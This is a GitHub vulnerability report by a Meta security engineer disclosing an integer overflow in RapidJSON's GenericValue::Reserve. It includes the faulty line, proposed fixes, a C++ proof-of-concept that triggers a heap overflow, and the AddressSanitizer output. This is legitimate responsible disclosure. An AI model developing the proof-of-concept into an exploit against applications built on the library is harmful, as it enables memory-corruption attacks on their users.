Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Potential integer overflow in GenricValue::Reserve #1993

Open
the-storm opened this issue Feb 18, 2022 · 0 comments
Open

Potential integer overflow in GenricValue::Reserve #1993

the-storm opened this issue Feb 18, 2022 · 0 comments

Comments

@the-storm
Copy link

Hello Tencent team,
I’d like to report an integer overflow which can read to an out-of-bounds read/write when calling GenricValue::Reserve.

Details

The vulnerability occurs in this line

SetElementsPointer(reinterpret_cast<GenericValue*>(allocator.Realloc(GetElementsPointer(), data_.a.capacity * sizeof(GenericValue), newCapacity * sizeof(GenericValue))));

If newCapacity is from an untrusted input, the result of the multiplication newCapacity * sizeof(GenericValue) can overflow leading to a small memory allocation. Depending on how the application is using the reserved array this can lead to a out-of-bounds read or write.

Recommendations

There are different fixes here.
1- Limit the max capacity to some maximum limit, for example 10K which doesn't trigger the integer overflow
2- Make sure that the operation doesn't overflow. The result of the multiplication is greater than both arguments
3- Document the API that it has a max limit so that application code/users are aware of when this can go wrong.

Severity

Determining the severity of this issue relies heavily on how application code uses RapidJson. In many cases, application code uses RapidJson to serialize and deserialize objects. This code can be triggered in the case of deserialization and reading the array size from JSON.

Reproduction

The following piece of code will trigger the vulnerability.

#include <rapidjson/document.h>
#include <cstdio>

using json =
    rapidjson::GenericValue<rapidjson::UTF8<>, rapidjson::CrtAllocator>;

int main(int argc, char** argv) {
  json obj;
  obj.SetArray();
  size_t s = 0x10000000000001;
  rapidjson::CrtAllocator s_CrtAllocator;
  printf("sizeof(GenericValue): %lu\n", sizeof(json));
  obj.Reserve(s, s_CrtAllocator);
  printf("capacity: %u\n", obj.Capacity());
  for (int i = 0; i < s; i++) {
    obj[i] = "a";
  }
  return 0;
}

Compiling with address sanitizers and running the code will generate the following ASAN report

=================================================================
==2969239==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60200000002e at pc 0x00000026b909 bp 0x7ffda1fde9f0 sp 0x7ffda1fde9e8
READ of size 2 at 0x60200000002e thread T0
SCARINESS: 24 (2-byte-read-heap-buffer-overflow-far-from-bounds)
    #0 0x26b908 in rapidjson::GenericValue<rapidjson::UTF8<char>, rapidjson::CrtAllocator>::~GenericValue() rapidjson/include/rapidjson/document.h:783
    #1 0x26b5e2 in rapidjson::GenericValue<rapidjson::UTF8<char>, rapidjson::CrtAllocator>::operator=(rapidjson::GenericValue<rapidjson::UTF8<char>, rapidjson::CrtAllocator>&) rapidjson/include/rapidjson/document.h:819
    #2 0x26b5e2 in rapidjson::GenericValue<rapidjson::UTF8<char>, rapidjson::CrtAllocator>::operator=(rapidjson::GenericStringRef<char>) rapidjson/include/rapidjson/document.h:838
    #3 0x26b337 in main repro.cpp:18

0x60200000002e is located 14 bytes to the right of 16-byte region [0x602000000010,0x602000000020)
allocated by thread T0 here:
    #0 0x2fdca8 in realloc (/repro+0x2fdca8)
    #1 0x26b235 in rapidjson::CrtAllocator::Realloc(void*, unsigned long, unsigned long) rapidjson/include/rapidjson/internal/../allocators.h:77
    #2 0x26b235 in rapidjson::GenericValue<rapidjson::UTF8<char>, rapidjson::CrtAllocator>::Reserve(unsigned int, rapidjson::CrtAllocator&) rapidjson/include/rapidjson/document.h:1588


SUMMARY: AddressSanitizer: heap-buffer-overflow rapidjson/include/rapidjson/document.h:783 in rapidjson::GenericValue<rapidjson::UTF8<char>, rapidjson::CrtAllocator>::~GenericValue()
Shadow bytes around the buggy address:
  0x0c047fff7fb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c047fff7fc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c047fff7fd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c047fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c047fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c047fff8000: fa fa 00 00 fa[fa]fd fd fa fa fd fd fa fa fd fd
  0x0c047fff8010: fa fa 00 00 fa fa 00 00 fa fa fd fd fa fa 00 00
  0x0c047fff8020: fa fa 00 00 fa fa 00 00 fa fa fd fd fa fa fd fd
  0x0c047fff8030: fa fa fd fd fa fa fd fd fa fa fd fd fa fa 00 00
  0x0c047fff8040: fa fa fd fd fa fa fd fd fa fa fd fd fa fa 00 00
  0x0c047fff8050: fa fa fd fd fa fa fd fd fa fa fd fd fa fa fd fd
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
  Shadow gap:              cc
==2969239==ABORTING

Meta’s Vulnerability Disclosure Policy

This vulnerability is subject to Meta’s vulnerability disclosure policy.

We expect the third party to respond within 21 days to let us know how the issue is being mitigated to protect the impacted people. If we don’t hear back within 21 days after reporting, Facebook reserves the right to disclose the vulnerability. If within 90 days after reporting there is no fix or update indicating the issue is being addressed in a reasonable manner, Facebook will disclose the vulnerability.
That said, we will adhere to the vulnerability disclosure steps and the proposed timelines whenever reasonably possible, but we can envision scenarios where there might be deviations. If Facebook determines that disclosing a security vulnerability in third party code or systems sooner serves to benefit the public or the potentially impacted people, we reserve the right to do so.

To read more about our policy, please visit https://www.facebook.com/security/advisories/Vulnerability-Disclosure-Policy

Thanks
Ibrahim
Security engineer
Meta

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant